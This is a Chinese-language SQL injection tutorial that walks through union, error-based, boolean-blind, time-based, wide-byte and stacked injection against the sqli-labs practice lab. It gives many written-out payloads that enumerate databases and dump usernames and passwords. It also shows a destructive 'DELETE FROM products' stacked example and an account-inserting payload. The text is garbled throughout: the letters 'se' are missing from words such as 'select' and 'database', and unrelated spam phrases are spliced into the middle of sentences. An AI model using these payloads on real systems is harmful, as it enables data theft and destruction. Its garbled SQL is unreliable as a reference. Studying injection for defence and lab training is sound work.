浅谈SQL注⼊(注⼊篇)
⼀、SQL注⼊简介
1.1 什么是SQL注⼊
在⽤户可控制的参数上过滤不严或没有任何限制,使得⽤户将传⼊的参数(如URL,表单,http header)与SQL语句合并构成⼀条
SQL语句传递给web服务器,最终传递给数据库执⾏增删改查等操作,并基于此获取数据库数据或提权进⾏破坏。
1.2 SQL注⼊产⽣的原因
SQL Injection:
程序员在编写代码的时候,没有对⽤户输⼊数据的合法性进⾏判断,使应⽤程序存在安全隐患,⽤户可以提交⼀段数据库查询代码,
根据程序返回的结果,获得某些他想得知的数据或进⾏数据库操作
1.3 SQL注⼊漏洞可⽤来做什么
获取数据库的数据内容或者提权获取数据库权限,有可能也会使web服务器受到威胁
1.4 SQL注⼊分类(简述)
1.4.1根据URL中传参的参数类型分为①字符型②数字型
数字型:
例如我们构造两个payload分别去执⾏
1. id = 1 and 1 = 1 //执⾏成功
2. id = 1 and 1 = 2 // 执⾏失败
此时后台的query语句⼤致为 lect XXX from XXX where id = $id
⽽这个传参中的参数id没有被单引号包裹,且⼀般id的值为数字
字符型:
例如我们构造两个payload分别去执⾏
1. id = 1' and '1' = '1 //执⾏成功
2. id = 1' and '1' = '2 //执⾏失败
第⼀个 ' ⽤来闭合后台查询语句中参数$'id' 左⾯的引号第⼆个 ' ⽤来闭合右⾯的引号
此时后台query语句⼤致为 lect XXX from XXX where id = $'id'
1.4.
2.根据传参的⽅式分为:①GET型
②POST型
③Cookie型
④其他http header中可利⽤的参数
⼆、SQL注⼊中常⽤的内置函数
la toya@@hostname //主机名称
@@datadir //返回数据库的存储⽬录
@@version_compile_os //查看服务器的操作系统
databa() // 查看当前连接的数据库名称
ur() // 查看当前连接的数据库⽤户
version() //查看数据库版本
current_ur() // 当前登录的⽤户和登录的主机名
system_ur() // 数据库系统⽤户账户名称和登录的主机名
ssion_ur() //当前会话的⽤户名和登录的主机名
三、常见的⼏种SQL注⼊&&information_schema (MySQL+PHP)
3.0 MySQL数据库基础-information_schema数据库结构
在MySQL数据库中内置了⼀个系统数据库information_schema,结构和MSSQL中的master类似,
记录了所有存在的数据库名、数据库表、表的各个字段。关键的三个表为:
schemata:存储数据库名的表
tables:存储数据库以及数据库中的表名
columns:存储数据库、表、以及表中的字段
3.0.1 SCHEMATA 存储数据库名的表
provigil 字段 schemata_name中存储了所有数据库表的名字
执⾏:lect schema_name from information_schema.schemata;
3.0.2 TABLES 存储所有表名字的表
字段 table_schema :值为数据库的名字,表⽰该表属于哪个数据库
字段 table_name:值为数据库中所存在的表的名字,⼀般作为查询的参数
执⾏lect table_name from information_schema.tables where table_schema='curity';
查询curity数据库中所有的表名
3.0.3 COLUMNS
字段 table_schema : 值为数据库的名字,表⽰该字段属于哪个数据库
字段 table_name:值为表的名字,表⽰该字段属于哪个表
字段 column_name:值为字段的名字,⼀般作为查询参数小脸男生适合什么发型
执⾏:lect column_name from lumns where table_name='urs' and table_schema='curity';
3.0.4 ⼩结&&常⽤套路
lect * from information_schema.schemata; //爆出数据库(也可⽤schema_name替换*)
lect table_name from information_schema.tables where table_schema=’dvwa’;//爆出指定数据库dvwa的所有表名
lect column_name from lumns where table_name=’urs’ and table_schema=’curity’;// 爆出curity数据库的表urs的所有字段名lect (ur,password) from curity.urs; //爆出curity数据库中⽤户和密码
3.1 基于回显的union lect联合查询注⼊(MySQL+PHP)
3.1.0 联合查询也是基于上⾯提到的information_schema数据库(仅限于MySQL数据库)来爆表爆列爆字段
其实不光是联合查询,所有的基于MySQL数据库的SQL注⼊都是基于这个库。
原理:因为后台查询语句基本为 lect XXX from 表 where id = $id 类似于这个样⼦,
⽽union可以合并lect从⽽实现查询多个结果。
3.1.1 联合注⼊流程
1.判断注⼊点(URL、表单、cookie、ua等)
特朗普希拉里 2.判断是整型还是字符型
3.判断查询列数(order by)
4.判断字段显⽰位(?id=0 union lect 1,2,3,4,5 # )
5.获取所有数据库名
6.获取数据库所有表名
7.获取字段名
8.获取数据
3.1.2 注⼊实例
这⾥博主就⽤sqli-labs 的Less 1 来举例了
0x01:⾸先通过?id=1(正常回显) 和 ?id=1'(报错)确定是字符型注⼊,参数被 ' 包裹
0x02:⽤order by确定字段数,⼀般执⾏:
id=1' and 1=1 order by n --+ //当页⾯报错 Unkwon columns时即可确定字段数为n-1
ps:这⾥要⽤order by是因为我们后⾯要⽤union lect,⽽官⽅⽂档中 union使⽤时必须
确保union 后⾯lect的字段要和前⾯的字段的数量⼀致,所以必须要先确定字段数。
0x03:判断字段回显位置 payload:新东方考研词汇
id=0' union lect 1,2,3 --+ //判断出有⼏个字段之后这⾥判断字段的回显位置,Less-1⾥只有2,3位回显
ps:这⾥id值为0其实是想找⼀个不存在的值使第⼀个lect查询不到结果(在后台的sql语句为:
$sql="SELECT * FROM urs WHERE id='0' union lect 1,2,3 --+' LIMIT 0,1";),这样才
会使后⾯union lect的语句执⾏结果回显到页⾯,但是在命令⾏中即使是⽤存在的id值也可
返回这两句lect的结果。当然不⼀定⽤0 什么9999或者 and 1=2都可,只要让第⼀个lect逻辑出错即可。
0x04:判断出2,3位可回显查询结果之后就类似于套模板了
id=0' union lect 1,2,databa() --+ //获取当前数据库
id=0' union lect 1,2,group_concat(table_name) from information_schema.tables where table_schema=databa() --+ //获取当前数据库的所有表
id=0' union lect 1,2,group_concat(column_name) from lumns where table_schema=databa() and table_name='urs' --+ //获取当前数据库的urs表中的所有字段名称
id=0' union lect 1,2,group_concat(concat_ws('-',urname,password)) from urs --+ //获取urs表中urname和password字段的所有值并将两个字段的值中间⽤ - 分隔开后打印在⼀⾏中回显
ps:关于concat() ,concat_ws(),group_concat()
concat():⽤于⽆分隔符的串联查询多个字段的结果
concat_ws():⽤于有分隔符的串联查询多个字段的结果
group_concat():⽤于将多⾏结果合并到⼀⾏显⽰
3.2 报错注⼊
3.2.0 报错注⼊
报错注⼊也是基于有回显错误信息的⼀种,只不过构造的payload⼀般是基于特定函数,根据函数的规则使其报错
并利⽤这个报错的回显特点,让报错的内容为我们想要获取的数据库内容。报错注⼊的函数有很多,下⾯只详细
解读3个最常⽤的。
3.2.1 报错注⼊——floor(rand(0)*2)
下⾯是⼀个基于floor()函数的报错注⼊例⼦
lect count(*),(concat(floor(rand(0)*2),(lect databa())))x from ur group by x;
0x01: count(*)函数:返回表中的记录数
0x02: rand()和rand(0) 函数
rand()函数可以⽣成⼀个0-1之间的随机数,每次⽣成的数都是随机的,⽽rand(0)因为有了0这个随机数种⼦
使得它每次⽣成的随机数都是⼀样的,也就是所谓的伪随机。(可以结合我下⾯的例图理解)
两次使⽤rand()⽣成的值:可以看到左图和右图的值是不⼀样的
两次使⽤rand(0)⽣成的值:可以看到左图和右图⽣成的数是⼀样的
0x03 floor函数
floor函数的作⽤是返回⼩于等于该值的最⼤整数,也就是所谓的向下取整,只保留整数部分。
0x04 group by 关键字
group by 就是对数据进⾏分组,相同的分为⼀组
结合我们之前的payload中有这么⼀段:floor(rand(0)*2)
rand(0)因为可以固定的产⽣⼀个随机数,但是随机数是0-1之间的,如果⽤floor进⾏向下取整的话每⼀次都是0,那么就
达不到我们的⽬的了,所以需要*2。
报错的原理:
这⾥我就简述⼀下,⼤家如果看不太懂可以看我分享的链接,这位朋友讲的很清楚,我下⾯也会附⼀个例⼦⼤家结合起来看。
在执⾏lect count(*),(concat(floor(rand(0)*2),(lect databa())))x from urs group by x;时数据库会建⽴⼀个虚拟表(空)
,进⾏查询和插⼊的操作,当它在执⾏ floor(rand(0)*2) 时⽐如⽣成的随机数为1,但是发现虚拟表中并⽆1这个key,所以第⼆次
执⾏ floor(rand(0)*2) 并将⽣成的随机数1(或0)插⼊,第三次执⾏ floor(rand(0)*2) 到结果为1时发现有1这个key,执⾏count(*)+1
之后继续查询第四次执⾏ floor(rand(0)*2) 此时⽣成的随机数为0 ,发现⽆这个key,⼜要进⾏插⼊操作,之后第五次执⾏floor(rand(0)*2)
准备插⼊0这个key的记录,结果⽣成的是1但是前⾯已经有key为1的记录了,所以就会报错。
举例:sqli-labs Less-5 payload:
id=1' union lect 1,count(*), (concat(floor(rand(0)*2),0x7e,(lect databa())))x from urs group by x --+ //获取当前连接的数据库
id=1' union lect 1,count(*), (concat(floor(rand(0)*2),0x7e,(lect table_name from information_schema.tables where table_schema=databa() limit 0,1)))x from urs group by x --+ //获取第⼀个表
id=1' union lect 1,count(*), (concat(floor(rand(0)*2),0x7e,(lect column_name from lumns where table_schema=databa() and table_name='urs' limit 0,1)))x from urs group by x --+ // id=1' union lect 1,count(*), (concat(floor(rand(0)*2),0x7e,(lect password from urs limit 0,1)))x from urs group by x --+//获取字段内容
3.2.2报错注⼊——updatexml()
0x01 updatexml(XML_document, XPath_string, new_value)
updatexml这个函数作⽤在于查找(XML_document⽂档中符合条件XPath_string的值并⽤new_value代替
由于updatexml的第⼆个参数需要Xpath格式的字符串,⽽我们输⼊的是普通字符串且以~开头的内容不是
xml格式的语法,concat()函数为字符串连接函数也不符合规则,但是会将括号内的执⾏结果以错
误的形式
报出,这样就可以实现报错注⼊了。
此函数第⼆个参数XPath_string参数可为sql语句,可⾃⾏构造sql语句进⾏注⼊。
0x02 还是基于sqli-labs Less-5的payload
id=1' and updatexml(1,concat('~',(lect databa()),'~'),3) --+ //获取当前连接的数据库
id=1' and updatexml(1,concat('~',(lect group_concat(table_name) from information_schema.tables where table_schema=databa()),'~'),3) --+ //获取表
id=1' and updatexml(1,concat('~',(lect group_concat(column_name) from lumns where table_schema=databa() and table_name='urs'),'~'),3) --+// 获取字段
id=1' and updatexml(1,concat(0x7e,(lect concat_ws(0x7e,urname,password) from urs limit 0,1),0x7e),3) --+ //获取第⼀组字段内容
3.2.3 报错注⼊——extractvalue()
上⾯的updatexml是修改的函数,⽽这个函数是查询的函数。
函数解释:
extractvalue():从⽬标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第⼀个参数:XML_document是String格式,为XML⽂档对象的名称
第⼆个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产⽣的字符串。
注⼊原理:这个和updatexml原理是⼀样的,都是因为在XPath_string格式哪⾥,我们输⼊的是普通的
string所以会出现报错。此函数第⼆个参数XPath_string处可为sql语句,可⾃⾏构造sql语句
进⾏注⼊。
下⾯还是以sqli-labs Less-5 举例并附上payload,⼤家可以⾃⼰去体会⼀下。
id=1' and extractvalue(null,concat(0x7e,(lect databa()),0x7e)) --+ //获取当前连接的数据库
id=1' and extractvalue(null,concat(0x7e,(lect group_concat(table_name) from information_schema.tables where table_schema=databa()),0x7e)) --+ //获取表
id=1' and extractvalue(null,concat(0x7e,(lect group_concat(column_name) from lumns where table_schema=databa() and table_name='urs'),0x7e)) --+ // 获取字段
id=1' and extractvalue(null,concat(0x7e,(lect group_concat(concat_ws('-',urname,password)) from urs),0x7e)) --+ //获取字段内容(这⾥有字符数量限制只能列出⼏组数据,可以参考上⾯updatexml中的payl 歌舞青春2下载
3.3 布尔盲注
3.1.0 布尔盲注原理
盲注的意思其实就是页⾯没有回显信息,⽐如我们找到了注⼊点却发现页⾯不会返回sql语句执⾏的结果,
因此不能再⽤union lect的那种正常可以返回查询结果的SQL注⼊,⽽布尔盲注则需要构造逻辑判断
并根据页⾯的状态(true or fal)判断我们此次的payload是否执⾏成功或错误,之后根据内容猜解数据库信息。
布尔盲注⼀般需要构造逻辑判断,⽽⼤部分的逻辑判断都是去判断字符串的某⼀个字符对照ascii表的数值
并根据true or fal 和ascii表猜解出我们取出来做逻辑判断的字符具体是哪⼀个字母或者其他字符等。
⽐如下⾯这个例⼦
//还是Less 5的payload
id=1' and ascii(substr((lect databa()),1,1))>110 --+
//判断lect databa()语句返回的结果的字符串的第1个字符是否⼤于ascii中110对应的字符是的话页⾯会有you .的提⽰不是的话⽆显⽰
3.1.1 布尔盲注中常⽤的函数
常⽤的截断函数:substr(str, pos, len) | mid(str, pos, len) | Left ( string, n )
0x01:substr(str, pos, len)
从start位开始截取string字符串的length长度。string参数处可以为SQL语句,注意如果没有设置length的值
会返回从pos位置开始剩下所有的字符
例⼦:substr(databa(),1,1)>'a' //判断databa()反回的数据库名字的第1个字符是否在ascii表中⼤于⼩写字母a
substr(databa(),2,1)>'a' //判断databa()反回的数据库名字的第2个字符是否在ascii表中⼤于⼩写字母a
0x02:mid(str, pos, len)
⽤法参照上⾯的substr() ,是⼀样的。
0x03:left(string,n)
作⽤:返回string字符串从左往右的前n个字符
例⼦:left(databa(),1)>'a' //判断databa()返回的数据库名字的从左数第1个字符是否在ascii表中⼤于⼩写字母a
left(databa(),2)>'aa' //判断databa()返回的数据库名字的从左数前2个字符是否在ascii表中⼤于字符串aa
其他函数:ascii() length()
0x01:ascii()函数
作⽤:可以将括号内的字符串转换为ascii表中对应的⼗进制的ascii值。
常常ascii函数会和截断函数⼀起使⽤构造逻辑判断,并根据枚举法和⼆分法快速猜解数据库内容和信息等。
0x02:length()函数
作⽤:返回字符串长度
例⼦:length(databa()) //返回当前连接的数据库名称长度
0x03 limit 关键字
置换反应 格式: limit i,j
0x01 i:查询结果的索引值,默认从0开始,如果为0则可省略i
0x02 j :查询结果返回的数量
例⼦:lect urname from urs limit 10 ; 查询urs表中前10个urname(索引是0-9,查询的就是第1-10个记录)
lect urname from urs limit 1,2 ; 查询urs表中2个记录,索引为1-2 也就是第2和第3个记录
下⾯还是拿 Less 5举例
布尔盲注
id=1' and length(databa())>1 --+
id=1' and length(databa())<10 --+
id=1' and length(databa())=8 --+ //猜解当前连接数据库名称长度
id=1' and ascii(substr((lect databa()),1,1))>100 --+
id=1' and substr((lect databa()),1,1)>'a' --+
id=1' and ascii(substr((lect databa()),1,1))=115 --+ // 猜解当前连接数据库名称第1个字符为s ,后续猜解同理。mid函数和此原理⼀样
id=1' and left((lect databa()),2)=''%20 --+
id=1' and left((lect databa()),8)='curity'%20 --+ //当 ' 没被过滤时可以⽤left 逐位猜解
id=1' and left((lect table_name from information_schema.tables where table_schema=databa() limit 0,1),1)='e'%20 --+
id=1' and left((lect table_name from information_schema.tables where table_schema=databa() li
mit 0,1),6)='emails'%20 --+
wizard是什么意思
id=1' and ascii(substr((lect table_name from information_schema.tables where table_schema=databa() limit 0,1),1,1))=101 --+ //后⾯payload⾃⾏构造和此同理获取curity数据库中的第⼀个表的第⼀个字符id=1' and ascii(substr((lect column_name from lumns where table_schema=databa() and table_name='urs' limit 0,1),1,1))=105 --+ //获取urs中第⼀个字段的第⼀个字符 i
id=1' and ascii(substr((lect urname from urs limit 0,1),1,1))=68 --+ //获取第⼀个urname的第⼀个字符 D
3.4 延时注⼊
3.4.0 基于时间型的SQL盲注
当⼀个web程序经过我们的布尔盲注时发现它并不存在true和fal两种不同的页⾯,这时
布尔盲注就不能起到效果了,此时就要采⽤基于时间型的盲注。
3.4.1 延时注⼊常⽤的函数
0x01 :if(a,b,c)函数
作⽤:如果a执⾏结果为真执⾏b,否则执⾏c
0x02:sleep(conds)函数
作⽤:延迟若⼲秒
条件:SQL语句的执⾏结果存在数据记录才会延迟指定的秒数,如果SQL语句查询结果为空
则不会延迟且执⾏后返回结果为0.
储量的意思
例⼦:分别执⾏下⾯两条语句
lect urname from urs where id=1 and if(ascii(mid(databa(),1,1))>1,sleep(5),1) ;
lect urname from urs where id=1 and if(ascii(mid(databa(),1,1))>1000,sleep(5),1) ;
可以看到第⼀句因为条件 ascii(mid(databa(),1,1))>1成⽴,所以延迟5s,
第⼆句不成⽴则并没有进⾏延迟,所以可以根据页⾯的响应时间判断我们的
逻辑条件语句是否正确进⽽猜测数据库的内容信息。
3.5 宽字节注⼊
3.5.0 宽字节注⼊前瞻——编码
编码:对字符赋予⼀个数值来确定这个字符在字符集的位置。(可以看ascii码表结合理解)
常见的字符集:①ascii字符集(包含全部英⽂字母和标点符号)
②GB2312字符集(中⽂字符集)
③Unicode字符集(通⽤多⼋位编码字符集)
常见编码:①Ascii ②GB2312 ③GBK ④utf-8 ⑤unicodestickto
GBK:⽂字编码均⽤2个字节表⽰(⽆论中英⽂,中⽂最⾼位为1)
utf-8:英⽂编码⽤8位(1个字节),中⽂编码⽤24位(3个字节)
3.5.1 宽字节注⼊
宽字节注⼊主要应⽤于输⼊的特定字符:⽐如 ' 被添加了 / 变为 /' 被转义了。⽐如addslashes()函数
此函数就可在预定义的字符前添加 / 。所以为了想办法让我们payload中的 ' 不被转义,需要绕过/
0x01 原理:MySQL在使⽤GBK编码时会认为2个字符为1个汉字(前1个字符的ascii码需要⼤于128)
⽐如%df%5c就是1个汉字。
0x02 常⽤思路:
1.吃掉/ :当我们输⼊的%27被转义为%5c%27时可以在%5c前加上%df,构造成%df%5c%27,
⽽MySQL会认为%df%5c为1个汉字从⽽吃掉了转义单引号的反斜杠使得 ' 逃逸出来。
2.转义/ :利⽤%e5%5c%27。当输⼊%e5%5c%27会变为%e5%5c%5c%5c%27 此时%e5%5c
构成1个汉字,%5c%5c即//,前⼀个/转义了后⼀个/从⽽使最后的 ' 逃逸出来
id=0%df' union lect 1,2,databa() --+ //Less 32的payload
3.6 堆叠注⼊
3.6.0 原理介绍:
简单来说,堆叠注⼊就是将2条sql语句并⼊⼀条语句中执⾏,两条语句中间⽤;隔开
在SQL中,分号(;)是⽤来表⽰⼀条sql语句的结束。试想⼀下我们在 ; 结束⼀个sql语句后继续构造下⼀条语句,会不会⼀起执⾏?因此这个想法也就造就了堆叠注⼊。⽽union injection(联合注⼊)也是将两条语句合并在⼀起,两者之间有什么区别么?区别就在于union 或者union all执⾏的语句类型是有限的,可以⽤来执⾏查询语句,⽽堆叠注⼊可以执⾏的是任意的语句。例如以下这个例⼦。⽤户输⼊:1; DELETE FROM products服务器端⽣成的sql语句为:(因未对输⼊的参数进⾏过滤)Select * from products where productid=1;DELETE FROM products当执⾏查询后,第⼀条显⽰查询信息,第⼆条则将整个表进⾏删除。
但是这种注⼊⽅式并不是⼗分的完美的。在我们的web系统中,因为代码通常只返回⼀个查询结果,因此,堆叠注⼊第⼆个语句产⽣错误或者结果只能被忽略,我们在前端界⾯是⽆法看到返回结果的。
3.6.1 堆叠注⼊实例(MySQL+php)
以 sqli-labs Less-38为例
payload: ?id=1' ; inrt into urs(id,urname,password)values('100','lqs','lqs')--+